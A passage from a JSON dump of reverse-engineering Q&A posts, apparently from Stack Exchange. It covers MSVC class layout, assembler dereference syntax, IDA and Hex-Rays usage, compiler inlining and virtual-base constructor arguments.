a0 10 a0 18 a0\n</code></pre>\n<p>confirmed independently with a hex editor</p>\n<pre><code>C:\\&gt;for %i in (0x0000,0x1000,0xe000,0x1e000,0x27000,0x28000,0x29000,0x2c000,0x2d000) do xxd -s %i -g 1 -l 16 dumped.bin\n\nC:\\&gt;xxd -s 0x0000 -g 1 -l 16 dumped.bin\n00000000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ..............\n\nC:\\&gt;xxd -s 0x1000 -g 1 -l 16 dumped.bin\n00001000: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc  ................\n\nC:\\&gt;xxd -s 0xe000 -g 1 -l 16 dumped.bin\n0000e000: b0 ff 52 af f6 7f 00 00 50 00 53 af f6 7f 00 00  ..R.....P.S.....\n\nC:\\&gt;xxd -s 0x1e000 -g 1 -l 16 dumped.bin\n0001e000: 60 e0 51 af f6 7f 00 00 90 e0 51 af f6 7f 00 00  `.Q.......Q.....\n\nC:\\&gt;xxd -s 0x27000 -g 1 -l 16 dumped.bin\n00027000: 10 10 00 00 88 10 00 00 4c ba 01 00 90 10 00 00  ........L.......\n\nC:\\&gt;xxd -s 0x28000 -g 1 -l 16 dumped.bin\n00028000: 92 ce 51 af f6 7f 00 00 00 00 00 00 00 00 00 00  ..Q.............\n\nC:\\&gt;xxd -s 0x29000 -g 1 -l 16 dumped.bin\n00029000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n\nC:\\&gt;xxd -s 0x2c000 -g 1 -l 16 dumped.bin\n0002c000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00  ................\n\nC:\\&gt;xxd -s 0x2d000 -g 1 -l 16 dumped.bin\n0002d000: 00 e0 00 00 28 02 00 00 00 a0 08 a0 10 a0 18 a0  ....(...........\n</code></pre>\n"
    },
    {
        "Id": "29752",
        "CreationDate": "2021-12-20T20:40:30.093",
        "Body": "<p>After looking at some basic examples of how C++ classes are compiled by MSVC, I tried to apply the knowledge to a DLL I'm working on. While searching for a class to start with, I came across\n<code>CRefCountable</code>. Its constructors are straightforward and it appears to be a base class that almost every other class extends from.</p>\n<p>Looking at one of the ctors, it seems like a <code>CRefCountable</code> is 8 bytes long, containing the <code>vftable</code> and a <code>DWORD</code>. I then got the impression that there are some &quot;hidden&quot; fields not initialized, as it is called with a pointer to 16 bytes of memory. Scrolling through the references to this ctor, I was surprised to see that it is also called with a pointer to 572, 500 and/or 20 bytes of memory, never with 8 bytes as I suspected.</p>\n<p>How can the size of this class be variable and bigger than the ctor implies? Or could this be a compiler optimization, where memory for a child class or something else is allocated together with the memory for the object, saving a call to <code>malloc</code>/<code>new</code>?</p>\n<p>I've decided not to include the decompilation or disassembly of the code in question, as it's either trivial or included in a way bigger function of a child class I haven't touched yet. If needed, I can provide some examples though.</p>\n<h3>EDIT</h3>\n<p>I completely forgot that the term &quot;base class&quot; was a thing, sorry about that. I'm very sure that this is a base class from the name and from looking around.</p>\n<p>This is the constructor that I mentioned above.</p>\n<pre><code>// mangled name: ??0CRefCountable@@QAE@XZ\n// demangled name: public: __thiscall CRefCountable::CRefCountable(void)\n\nmov     eax, ecx\nmov     dword ptr [eax], offset ??_7CRefCountable@@6B@ ; const CRefCountable::`vftable'\nmov     dword ptr [eax+4], 0\nretn\n</code></pre>\n<p>The values for the size of the object are in constructs such as this:</p>\n<pre><code>...\npush    10h\ncall    new_or_malloc\nmov     esi, eax\nadd     esp, 4\nmov     [esp+18h+var_10], esi\ntest    esi, esi\nmov     [esp+18h+var_4], 0\njz      short loc_1002C12E\nmov     ecx, esi        ; this\ncall    ??0CRefCountable@@QAE@XZ ; CRefCountable::CRefCountable(void)\nmov     dword ptr [esi], offset off_100443DC\nmov     eax, [edi+8]\nmov     [esi+8], eax\nmov     [esi+0Ch], edi\njmp     short loc_1002C130\nloc_1002C12E:\nxor     esi, esi\nloc_1002C130:\n...\n</code></pre>\n<p>Ghidra's decompiler turns that into constructs like this (which I used to find these more quickly, as it's more concise).</p>\n<pre><code>  crc = (CRefCountable *)new_or_malloc(0x10);\n  local_4 = 0;\n  if (crc == (CRefCountable *)0x0) {\n    crc = (CRefCountable *)0x0;\n  }\n  else {\n    CRefCountable::CRefCountable(crc );\n    crc -&gt;vftable = &amp;PTR_AddReference_100443dc;\n    crc[1].vftable = *(undefined ***)(param_1 + 8);\n    crc[1].field_0x04 = param_1;\n  }\n</code></pre>\n<p>The value I suppose is the size of the object is the arg to <code>new_or_malloc</code>. This function wasn't recognized by IDA Free or ghidra, but it made sense in the context and the function does call <code>HeapAlloc</code> in the end.</p>\n<p>Something that I overlooked yesterday evening was that <code>param_1</code> (or <code>edi</code> in the disassembly) sometimes is the <code>this</code> pointer to a object. In this particular case it's a plugin manager class that doesn't seem to extend <code>CRefCountable.</code></p>\n",
        "Title": "One class with different sizes",
        "Tags": "|windows|x86|c++|msvc|class-reconstruction|",
        "Answer": "<p>It looks like <code>CRefCountable</code> is either a base class or the first member of the bigger class/structure being initialized. By itself, it is indeed only 8 bytes (vtable pointer and a data member, most likely the reference count).</p>\n"
    },
    {
        "Id": "29768",
        "CreationDate": "2021-12-23T14:15:39.607",
        "Body": "<p>I'm reverse engineering a binary and I'm confused, because my theoretical knowledge is currently clashing with what's actually happening.</p>\n<p>I thought that this instruction writes the value 0xdeadbeef into edx:</p>\n<pre><code>mov edx, DWORD PTR ds:0xdeadbeef\n</code></pre>\n<p>And I thought that this instruction dereferences that address 0xdeadbeef and writes whatever DWORD value is stored at that address into edx:</p>\n<pre><code>mov edx, DWORD PTR ds:[0xdeadbeef]\n</code></pre>\n<p>However, in reality, running this instruction:</p>\n<pre><code>mov edx, DWORD PTR ds:0x804bdf4\n</code></pre>\n<p>Results in the value of edx being:</p>\n<pre><code>edx = 0xb73fc115\n</code></pre>\n<p><code>0xb73fc115</code> is the value that's stored at the address <code>0x804bdf4</code>:</p>\n<pre><code>x 0x804bdf4\n0x804bdf4 &lt;gContents&gt;: 0xb73fc115\n</code></pre>\n<p>So that means that the address was dereferenced, even though the assembly didn't contain any square brackets. I thought thatsquare brackets signified a dereferencing operation. What have I misunderstood?</p>\n<p>I'm using GDB</p>\n<hr />\n<p>Update: I just tested it on radare2, and it shows the instruction in the format that I would expect</p>\n<pre><code>mov edx, dword [obj.gContents]\n</code></pre>\n<p>I also tested it with objdump, and the result was the same as with GDB. I assume it's some sort of syntax I don't currently understand?</p>\n",
        "Title": "Why does the \"MOV DWORD PTR ds:0xdeadbeef\" instruction dereference the 0xdeadbeef address?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>The default assembler syntax used by IDA (<a href=\"https://docs.microsoft.com/en-us/cpp/assembler/masm/microsoft-macro-assembler-reference\" rel=\"nofollow noreferrer\">MASM</a> based) does not use square brackets when the dereference is unambiguous. In your case the second operand is obviously a memory address from which the value is read, and DWORD PTR is another hint that a dereference is taking place. If you prefer to always see square brackets, you can switch to the TASM assembler in <em>Options &gt; General..., Analysis</em>.</p>\n<p><a href=\"https://i.stack.imgur.com/RjMqE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RjMqE.png\" alt=\"IDA Options\" /></a></p>\n"
    },
    {
        "Id": "29783",
        "CreationDate": "2021-12-28T08:19:15.353",
        "Body": "<p>I have a x86 executable opened in IDA.\nIn the function window you can see a list of all functions with their starting address.</p>\n<p><a href=\"https://i.stack.imgur.com/qyafN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qyafN.png\" alt=\"enter image description here\" /></a></p>\n<p>My goal is to programmatically export a list of all functions IDA found including the following informations:</p>\n<ul>\n<li>Their starting address</li>\n<li>Their instructions as a byte array</li>\n</ul>\n<p>How would i do this?</p>\n",
        "Title": "Exporting all function addresses from IDA",
        "Tags": "|ida|",
        "Answer": "<p>idc</p>\n<pre><code>auto func,i;\nfunc = NextFunction(0);\nwhile ( func != BADADDR ) \n{\n    Message(&quot;start = %08x size = %04x    &quot; , func , GetFunctionAttr(func,FUNCATTR_END )-func);\n    for (i=0; i&lt;0x10;i++)\n    {\n        Message(&quot;%02x &quot;, Byte(func+i));\n    }\n    Message(&quot;\\n&quot;);\n    func = NextFunction(func);\n}\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/xsFXC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xsFXC.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29785",
        "CreationDate": "2021-12-29T08:28:54.150",
        "Body": "<p>I decided to ask the question on this forum because I can not figure out why struct allocation makes the additional 16 bytes space on local function stack(third line at the second snippet).</p>\n<p>Here is the c++ simple code and its corresponding assembly version</p>\n<pre><code>struct product {\n  int weight;\n} ;\n\nvoid test() {\nproduct* p;\n\np=new product();\np-&gt;weight=1;\n}\n</code></pre>\n<pre><code>push    rbp\nmov     rbp, rsp\nsub     rsp, 16\nmov     edi, 4\ncall    operator new(unsigned long)\nmov     DWORD PTR [rax], 0\nmov     QWORD PTR [rbp-8], rax\nmov     rax, QWORD PTR [rbp-8]\nmov     DWORD PTR [rax], 1\nnop\nleave\nret\n</code></pre>\n",
        "Title": "Why struct allocation with new operator in local function makes additional space on stack?",
        "Tags": "|stack|assembly|",
        "Answer": "<p>In the future additional information like what architecture and OS is this for would help because the answer does make a difference. (e.g. a long in x86_64 Windows is 32bits, where as Linux it is 64bits).</p>\n<p>However lets assume this is x86_64 based on the registers used and turns out here the size of a long doesn't matter.</p>\n<p>The short answer is that it's not the struct. It's the pointer to the struct. That 'p' has to go someplace.</p>\n<p>Additionally things returned by new in MOST x86_64 operating systems are 16 byte aligned and so is the stack for performance reasons. So that's where the extra 8 bytes is likely coming from. Could also be space for a stack cookie that's being hidden from your debugger output depending on where you got that assembly output from.</p>\n"
    },
    {
        "Id": "29795",
        "CreationDate": "2021-12-29T23:23:47.650",
        "Body": "<p>I have created a very simple <code>x86</code> console program that uses <code>Visual Studio 2019 compiler</code> to sum 2 numbers just to see how is the program be after disassembly but I found something unclear to me.</p>\n<pre><code>// C++\n#include &lt;iostream&gt;\n\nint sum(int n, int n2) {\n    return n + n2;\n}\n\nint main() {\n    int result = sum(7, 3);\n    std::cout &lt;&lt; result;\n}\n</code></pre>\n<p>After disassembled</p>\n<pre><code>; The main function from outside\nPush edi\npush esi\npush dword ptr ds:[eax]\ncall &lt;consoleapplication._main&gt;\nadd esp, C\n\n; The main function from inside\nmov ecx, dword ptr ds : [&lt;&amp;? cout@std@@3V ? $basic_ostream@DU ? $char_traits@D@std@@@1@A&gt;]\npush A\ncall dword ptr ds : [&lt;&amp;? ? 6 ? $basic_ostream@DU ? $char_traits@D@std@@@std@@QAEAAV01@H@Z&gt;]\nxor eax, eax\nret\n</code></pre>\n<p>As you have seen in the second code block, the second line</p>\n<pre><code>push A\n</code></pre>\n<p>That is the result of the &quot;sum&quot; function but\n<strong>where is its body and where is the call instruction that calls it in the main function?</strong></p>\n",
        "Title": "I don't find the body of a function that I called in the main function",
        "Tags": "|disassembly|functions|",
        "Answer": "<ol>\n<li><p>always post text instead of screen shots as much as possible .</p>\n</li>\n<li><p>always provide context .</p>\n</li>\n<li><p>the compilers , operating systems , architectures , headers everything evolve and what might have been correct yesterday might not be correct today .</p>\n</li>\n<li><p>code with all warnings and analysis enabled as much as possible .</p>\n</li>\n<li><p>provide a readily compilable code for some one to spend a few minutes trying to answer if you don't include headers most wont be bothered to look for them .</p>\n</li>\n</ol>\n<p><a href=\"https://stackoverflow.com/questions/4246514/why-does-gcc-say-named-return-values-no-longer-supported\">6) do you know your return statement has a problem called NRVO some compilers will spit cant return n+n2 named returns are not supported ?</a></p>\n<p>use scopes with {} make it a habit .</p>\n<p>and not to nitpick but printf is not c++.</p>\n<p>i have attached a gif below that should answer your question watch it several times test and edit your question what you do not understand in that gif\nand whether you were able to find the answer you were looking for by watching it</p>\n<p><a href=\"https://i.stack.imgur.com/lwHJ0.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lwHJ0.gif\" alt=\"enter image description here\" /></a></p>\n<p>As Commented there are several kinds of Optimization<br />\nyou can read the docs for the compiler you use<br />\nfor msvc cl.exe these are the Optimizations that can be performed</p>\n<pre><code>C:\\&gt;cl /nologo  /? | grep /O\n/O1 maximum optimizations (favor space) /O2 maximum optimizations (favor speed)\n/Ob&lt;n&gt; inline expansion (default n=0)   /Od disable optimizations (default)\n/Og enable global optimization          /Oi[-] enable intrinsic functions\n/Os favor code space                    /Ot favor code speed\n/Ox optimizations (favor speed)\n</code></pre>\n<p>optimized code is difficult to analyze<br />\nthat is why there debug build are used when writing code<br />\noptimized builds are used when releasing the code<br />\nwhile releasing the symbols are also stripped away so an optimized release built binary is just bytes all over which the reverse engineer has to decipher</p>\n"
    },
    {
        "Id": "29813",
        "CreationDate": "2022-01-02T14:11:05.030",
        "Body": "<p>I don't want to get too much into detail, but a disastrous chain of events that began with a boolean of incorrect size forced the IDA analyzer to discard a lot of instruction sections of many functions.</p>\n<p>Here is what I mean:\n<a href=\"https://i.stack.imgur.com/19sLT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/19sLT.png\" alt=\"enter image description here\" /></a></p>\n<p>I'm slowly fixing everything up and so there is no problem with that. My question is: <strong>Is there a way to list every instruction not inside of a function in IDA?</strong> Just so I don't leave some of them without a fix.</p>\n",
        "Title": "List instructions to fix wrong IDA analysis",
        "Tags": "|ida|disassembly|x86|",
        "Answer": "<p>In the end, I found how to do it. In <kbd>Search</kbd> &gt; <kbd>Not Function</kbd>.</p>\n"
    },
    {
        "Id": "29824",
        "CreationDate": "2022-01-06T12:15:56.003",
        "Body": "<p>Have read in some Discord channel, that Windows was reverse engineered. Does anybody here have knowledge about such reverse engineered Windows version? If it really exists, where can it be downloaded?</p>\n",
        "Title": "Windows reverse engineered?",
        "Tags": "|windows|",
        "Answer": "<p>Since the answer to my question in the comment moved to chat, I am going to write it here again. The OS which meets my requirements the best is <a href=\"https://reactos.org/\" rel=\"nofollow noreferrer\">React OS</a>.</p>\n"
    },
    {
        "Id": "29833",
        "CreationDate": "2022-01-08T13:58:29.400",
        "Body": "<p>This is something that I found in a lot of constructors that have to do with classes that inherit from other classes. I have a vague idea as to why it's done, but I'd rather have it confirmed before having to re-visit all of my classes.</p>\n<p>Say I have a constructor with a known signature e.g. <code>CPalette()</code>. The compiler turn this into a <code>CPalette * __thiscall CPalette::CPalette(CPalette* this)</code>, with <code>this</code> being in ecx. Hence, no values need to be retrieved from the stack. However, when the constructor is called, it looks something like this:</p>\n<pre><code>// with allocated memory in eax\nPUSH   0x01\nMOV    ecx, eax\nCALL   CPalette::CPalette\n</code></pre>\n<p>Inside the constructor, this value is then used in a test:</p>\n<pre><code>// start of constructor\nPUSH   -0x01\nPUSH   label_1\nMOV    eax, fs:[0x00]                  // question for another day\nPUSH   eax\nMOV    dword ptr fs:[0x00], esp        \nSUB    esp ,0x8\nMOV    eax, dword ptr [esp + 18]       // Ghidra: ... [esp + Stack[0x04]]\nPUSH   esi\nMOV    esi, ecx\nPUSH   edi\nTEST   eax, eax\nMOV    dword ptr [esp + 0x08], esi     // Ghidra: ... [esp + local_14]\nMOV    dword ptr [esp + 0x18], 0x00    // Ghidra: ... [esp + local_4]\nJZ     label_2\n</code></pre>\n<p>I'm also a bit confused about Ghidra's auto-analysis, which I've attached to the end of the respective lines. The decompilation uses the name <code>in_stack_00000004</code> for the <code>TEST</code>ed register.</p>\n<p>Why do we push a 1 on the stack and what is the test doing?<br />\nMy best guess is that this is a way to know if the constructor is called directly or by a child class constructor, since I've seen some <code>PUSH 0x00</code>s before constructor calls inside other constructors. If this is the case, why is this done?</p>\n<p>This is from a 32 bit windows DLL.</p>\n",
        "Title": "Constructors testing for strange in-stack value",
        "Tags": "|disassembly|x86|c++|",
        "Answer": "<p>At a guess, the class participates in a virtual inheritance tree. When constructing a class with virtual bases, the constructor needs to know whether its virtual bases have been already constructed or not. The extra argument is used for that. If you compile a sample program with virtual inheritance and look at its <a href=\"https://godbolt.org/z/e6cTajqf3\" rel=\"nofollow noreferrer\">assembly output</a>, you'll see that it's called 'initVBases' (i.e. &quot;initialize virtual bases&quot;).</p>\n<pre><code>_this$ = -4                                   ; size = 4\n_$initVBases$ = 8                                 ; size = 4\nbutton::button(void) PROC                              ; button::button, COMDAT\n        push    ebp\n        mov     ebp, esp\n        push    ecx\n        mov     DWORD PTR _this$[ebp], ecx\n        cmp     DWORD PTR _$initVBases$[ebp], 0\n        je      SHORT $LN2@button\n        mov     eax, DWORD PTR _this$[ebp]\n        mov     DWORD PTR [eax], OFFSET const button::`vbtable'\n        mov     ecx, DWORD PTR _this$[ebp]\n        add     ecx, 8\n        call    control::control(void)\n$LN2@button:\n        mov     ecx, DWORD PTR _this$[ebp]\n        mov     edx, DWORD PTR [ecx]\n        mov     eax, DWORD PTR [edx+4]\n        mov     ecx, DWORD PTR _this$[ebp]\n        mov     DWORD PTR [ecx+eax], OFFSET const button::`vftable'\n        mov     eax, DWORD PTR _this$[ebp]\n        mov     esp, ebp\n        pop     ebp\n        ret     4\nbutton::button(void) ENDP                              ; button::button\n</code></pre>\n<p>In case the binary has RTTI (Run-time Type Information), you should be able to confirm it by inspecting the <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow noreferrer\">RTTI structures</a>.</p>\n"
    },
    {
        "Id": "29838",
        "CreationDate": "2022-01-09T23:23:04.250",
        "Body": "<pre><code>; PCWSTR __stdcall RtlGetNtSystemRoot()\n                public RtlGetNtSystemRoot\nRtlGetNtSystemRoot proc near            ; CODE XREF: LdrpBuildSystem32FileName+1A\u2191p\n                                        ; _IsOverlaySupportedPath+2B\u2193p ...\n\n; FUNCTION CHUNK AT .text:00000001800B5A2A SIZE 00000019 BYTES\n\n                sub     rsp, 28h\n                call    RtlGetCurrentServiceSessionId\n                test    eax, eax\n                jnz     ReadFromPEB\n                mov     eax, offset UserSharedData.NtSystemRoot ; was 7FFE0030h instead of the offset\n\nloc_18003C806:                          ; CODE XREF: RtlGetNtSystemRoot+7924E\u2193j\n                add     rsp, 28h\n                retn\n; ---------------------------------------------------------------------------\n                db 0CCh\nRtlGetNtSystemRoot endp\n</code></pre>\n<p>(NB: <code>ReadFromPEB</code> is uninteresting for this discussion.)</p>\n<p>When I originally decompiled this code, it looked somewhat like this (even without the cast on the second <code>return</code>):</p>\n<pre><code>PCWSTR __stdcall RtlGetNtSystemRoot()\n{\n  if ( RtlGetCurrentServiceSessionId() )\n    return (NtCurrentPeb()-&gt;SharedData + 0x30);\n  else\n    return 0x7ffe0030i64;\n}\n</code></pre>\n<p>The color of the second <code>return</code> value suggested something was wrong, so I went ahead and made the address known to IDA.</p>\n<p>Now, <code>UserSharedData</code> is a struct (based on the imported standard struct <code>_KUSER_SHARED_DATA</code>) which resides in its own segment which I declared at 0x7FFE0000. I declared the segment with the current size of the struct (0x720) to fit it snugly.</p>\n<p>It looks like this:</p>\n<pre><code>_user_shared_data segment para public '' use64\n                assume cs:_user_shared_data\n                ;org 7FFE0000h\n                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nUserSharedData  _KUSER_SHARED_DATA &lt;?&gt;  ; DATA XREF: LdrpGenSecurityCookie+4A\u2193r\n                                        ; LdrpGenSecurityCookie+53\u2193r ...\n_user_shared_data ends\n</code></pre>\n<p>After that I changed the original disassembly line:</p>\n<pre><code>mov     eax, 7FFE0030h\n</code></pre>\n<p>to:</p>\n<pre><code>mov     eax, offset UserSharedData.NtSystemRoot\n</code></pre>\n<p>Alas, when I closed all the &quot;Pseudocode&quot; windows and then hit <kbd>F5</kbd> again, the output remained the same. Thinking I'd be able to adjust it through the Edit menu I found all relevant menu items disabled there.</p>\n<p>However, then I went ahead typing up my question here (which in the end had to be changed completely once again) just to go back to IDA and see that the Peudocode view had finally caught up to my change of the segment and the disassembly:</p>\n<pre><code>PCWSTR __stdcall RtlGetNtSystemRoot()\n{\n  if ( RtlGetCurrentServiceSessionId() )\n    return (NtCurrentPeb()-&gt;SharedData + 30);\n  else\n    return UserSharedData.NtSystemRoot;\n}\n</code></pre>\n<p>I've had this lag before and found it somewhat annoying. I assume it's perhaps an expensive operation that runs in the background every now and then.</p>\n<p><strong>Question:</strong> But can I perhaps also <strong>force IDA to sync</strong> the knowledge the disassembler has with that of the decompiler so such changes take effect immediately in the pseudo-code?</p>\n",
        "Title": "How to get IDA and Hex-Rays to forcibly sync their knowledge of the sample on-demand?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>A &quot;heavy-weight&quot; answer to this question would be that you can force the decompiler to flush all decompilation caches that it maintains via <code>Edit-&gt;Other-&gt;Reset decompiler information</code>, then selecting (only) <code>All caches</code>. This does what it sounds like, and forces Hex-Rays to re-decompile every function rather than relying upon cached results the next time around. Of course, this will increase the amount of time it takes for Hex-Rays to decompile any function the next time around, since it won't be able to use cached results.</p>\n"
    },
    {
        "Id": "29840",
        "CreationDate": "2022-01-10T07:53:16.213",
        "Body": "<p>In his answer to a question, Rolf pointed me to the <kbd>Edit</kbd> -&gt; <kbd>Other</kbd> -&gt; <kbd>Reset decompiler information</kbd> functionality, suggesting that &quot;All caches&quot; will force the decompiler to pick up <em>immediately</em> on changes I made to the disassembly.</p>\n<p><a href=\"https://i.stack.imgur.com/s2eYZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/s2eYZ.png\" alt=\"Reset decompiler information dialog\" /></a></p>\n<p>This sounds like a sensible idea. However, he cautions that the resetting will also mean that the decompiler has more work to do on subsequent decompilations. Makes sense.</p>\n<p><strong>Now the question I have is:</strong> when I use the <kbd>Mark as decompiled</kbd> menu item on the pseudo code and only <em>then</em> use the <kbd>Reset decompiler information</kbd> functionality, will the functions marked decompiled be exempt from the clearing of caches?</p>\n<p><a href=\"https://i.stack.imgur.com/ARCry.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ARCry.png\" alt=\"Mark as decompiled menu item\" /></a></p>\n",
        "Title": "Will \"Reset decompiler information\"+\"All caches\" invalidate functions marked as decompiled?",
        "Tags": "|hexrays|",
        "Answer": "<p>They are not exempt from the caches being cleared; marking something as decompiled simply changes the color of the function in the <code>func_t</code>, and does not affect the caches in any way. However, this is not a big deal. The &quot;caches&quot; referred to by that menu item simply mean the saved <code>cfunc_t</code> and <code>mba_t</code> data structures for that function, which Hex-Rays uses to accelerate subsequent decompilations of functions you've already looked at. You won't lose any annotations (names, comments, types, having marked a function as decompiled, etc.) by clearing the caches. I clear the caches multiple times a day on databases that are important to me; don't worry about losing your work. If you're really paranoid, save your database or create a snapshot first before giving it a try; you'll see that you don't lose any of your work.</p>\n<p>The only negative effect is the slowdown on re-decompiling unrelated functions that you otherwise have no interest in clearing the cache entries for. If you don't like that slowdown, an IDAPython one-liner <code>ida_hexrays.mark_cfunc_dirty(funcEa)</code> will clear the <code>cfunc_t</code> cache entry for the function at address <code>funcEa</code> (though I'm not sure if it will also purge the <code>mba_t</code> cache entry, which is likely necessary to trigger the changes stemming from the disassembly listing).</p>\n"
    },
    {
        "Id": "29845",
        "CreationDate": "2022-01-11T11:15:47.723",
        "Body": "<p>Is there any tools can auto generate enum type by macro?</p>\n<p>For example, NTSTATUS in Windows defined as</p>\n<pre><code>#define STATUS_ILLEGAL_INSTRUCTION       ((NTSTATUS)0xC000001DL)   \n#define STATUS_INVALID_LOCK_SEQUENCE     ((NTSTATUS)0xC000001EL)\n#define STATUS_INVALID_VIEW_SIZE         ((NTSTATUS)0xC000001FL)\n#define STATUS_INVALID_FILE_FOR_SECTION  ((NTSTATUS)0xC0000020L)\n#define STATUS_ALREADY_COMMITTED         ((NTSTATUS)0xC0000021L)\n#define STATUS_ACCESS_DENIED             ((NTSTATUS)0xC0000022L)\n...\n</code></pre>\n<p>I want to import it into IDA Pro as enum, How can I do it?</p>\n",
        "Title": "How to import macro as enum into IDA Pro?",
        "Tags": "|ida|",
        "Answer": "<p>I don't know how proper this method is or<br />\nwhat dangers lurk by using these hacks but I have sometimes used the</p>\n<pre><code>ida -&gt; file -&gt; load file -&gt;parse c header file (ctrl+f9) \n</code></pre>\n<p>to get the job done in free versions (5 and 7)</p>\n<p>suppose you have are analyzing a binary whose source is</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\nint main (int argc,char* argv[] ){\n    if(argc == 2)   {\n        int res = 0;\n        int nts = atoi(argv[1]);\n        switch (nts)        {\n            case 1:\n                res = 0xC000001DL;\n                break;\n            case 2:\n                res = 0xC000001EL;\n                break;\n            case 3:\n                res = 0xC000001FL;\n                break;\n            case 4:\n                res = 0xC0000020L;\n                break;\n            case 5:\n                res = 0xC0000021L;\n                break;\n            case 6:\n                res = 0xC0000022L;\n                break;\n            default:\n                res = 0xffffffff;\n                break;              \n        }\n        printf(&quot;you asked %d i give %08x\\n&quot; , nts, res);\n        return 0;\n    }\n}\n</code></pre>\n<p>whose main disassembled will look like (ida free 7)</p>\n<pre><code>text:000000014000106C loc_14000106C:                          ; jumptable 000000014000106A case 1\n.text:000000014000106C                 mov     [rsp+38h+var_18], 0C000001Dh\n.text:0000000140001074                 jmp     short loc_1400010B0\n.text:0000000140001076 ; ---------------------------------------------------------------------------\n.text:0000000140001076\n.text:0000000140001076 loc_140001076:                          ; jumptable 000000014000106A case 2\n.text:0000000140001076                 mov     [rsp+38h+var_18], 0C000001Eh\n.text:000000014000107E                 jmp     short loc_1400010B0\n.text:0000000140001080 ; ---------------------------------------------------------------------------\n.text:0000000140001080\n.text:0000000140001080 loc_140001080:                          ; jumptable 000000014000106A case 3\n.text:0000000140001080                 mov     [rsp+38h+var_18], 0C000001Fh\n.text:0000000140001088                 jmp     short loc_1400010B0\n.text:000000014000108A ; ---------------------------------------------------------------------------\n.text:000000014000108A\n.text:000000014000108A loc_14000108A:                          ; jumptable 000000014000106A case 4\n.text:000000014000108A                 mov     [rsp+38h+var_18], 0C0000020h\n.text:0000000140001092                 jmp     short loc_1400010B0\n.text:0000000140001094 ; ---------------------------------------------------------------------------\n.text:0000000140001094\n.text:0000000140001094 loc_140001094:                          ; jumptable 000000014000106A case 5\n.text:0000000140001094                 mov     [rsp+38h+var_18], 0C0000021h\n.text:000000014000109C                 jmp     short loc_1400010B0\n.text:000000014000109E ; ---------------------------------------------------------------------------\n.text:000000014000109E\n.text:000000014000109E loc_14000109E:                          ; jumptable 000000014000106A case 6\n.text:000000014000109E                 mov     [rsp+38h+var_18], 0C0000022h\n.text:00000001400010A6                 jmp     short loc_1400010B0\n.text:00000001400010A8 ; ---------------------------------------------------------------------------\n.text:00000001400010A8\n.text:00000001400010A8 def_14000106A:                          ; jumptable 000000014000106A default case\n.text:00000001400010A8                 mov     [rsp+38h+var_18], 0FFFFFFFFh\n.text:00000001400010B0\n.text:00000001400010B0 loc_1400010B0:\n</code></pre>\n<p>you can simply make a dummy header file stuff them into an enum and use parse header after some notepad++ magic (column editing to remove #define regex substitute = etc)</p>\n<p>:&gt;cat tpass.h</p>\n<pre><code>enum  some_crap\n{\nSTATUS_ILLEGAL_WHATSIT       =((NTSTATUS)0xC000001DL),\nSTATUS_INVALID_LOCKIT    =((NTSTATUS)0xC000001EL),\nSTATUS_INVALID_VIEWIT        = ((NTSTATUS)0xC000001FL),\nSTATUS_INVALID_FILEIT  =((NTSTATUS)0xC0000020L),\nSTATUS_ALREADY_COMMITIT        =((NTSTATUS)0xC0000021L),\nSTATUS_ACCESS_DENYIT  =           ((NTSTATUS)0xC0000022L)\n};\n:\\&gt;\n</code></pre>\n<p>use ctrl+f9 and parse it you will get compiled successfully</p>\n<pre><code>\\ntst\\tpass.h: successfully compiled\nCaching 'Local Types'... ok\nCaching 'Names'... ok\n</code></pre>\n<p>see gif for further details</p>\n<p><a href=\"https://i.stack.imgur.com/Cd8Fx.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Cd8Fx.gif\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29847",
        "CreationDate": "2022-01-11T12:27:41.043",
        "Body": "<p>Are there any good ways of splitting up a very long for loop or if statement in IDA into larger chunks to make it more readable? Disabling <code>use fast structure analysis</code> in the Hex Rays decompiler options did not help. Nor did setting the <code>Max commas</code> option to 1, as explained by Rolf Rolles in this <a href=\"https://twitter.com/rolfrolles/status/1345512891667992578\" rel=\"nofollow noreferrer\">Twitter post</a>.</p>\n<pre><code>for ( i = four - 1; file_size &gt; i + tmp + 1 &amp;&amp; match_buffer(&amp;buf[tmp], i + 1, buf_num, idx) != -1; ++i )\n{\n   ;\n}\n</code></pre>\n<p>What I am trying to achieve is getting this on multiple lines. For reference I am using IDA Free v7.7 for Linux.</p>\n<p>The equivalent in Ghidra looks like this and I was hoping to get the same result in IDA:</p>\n<pre><code>for (i = four - 1; tmp + i + 1 &lt; file_size; i += 1) {\n    var1 = match_buffer(buf + tmp,i + 1,buf + num,tmp - num); // == match_buffer(buf[tmp], i + 1, buf[num], tmp - num);\n    if (var1 == -1) \n        break;\n}\n</code></pre>\n",
        "Title": "Disable optimization of for loops in Hex Rays Decompiler",
        "Tags": "|ida|hexrays|",
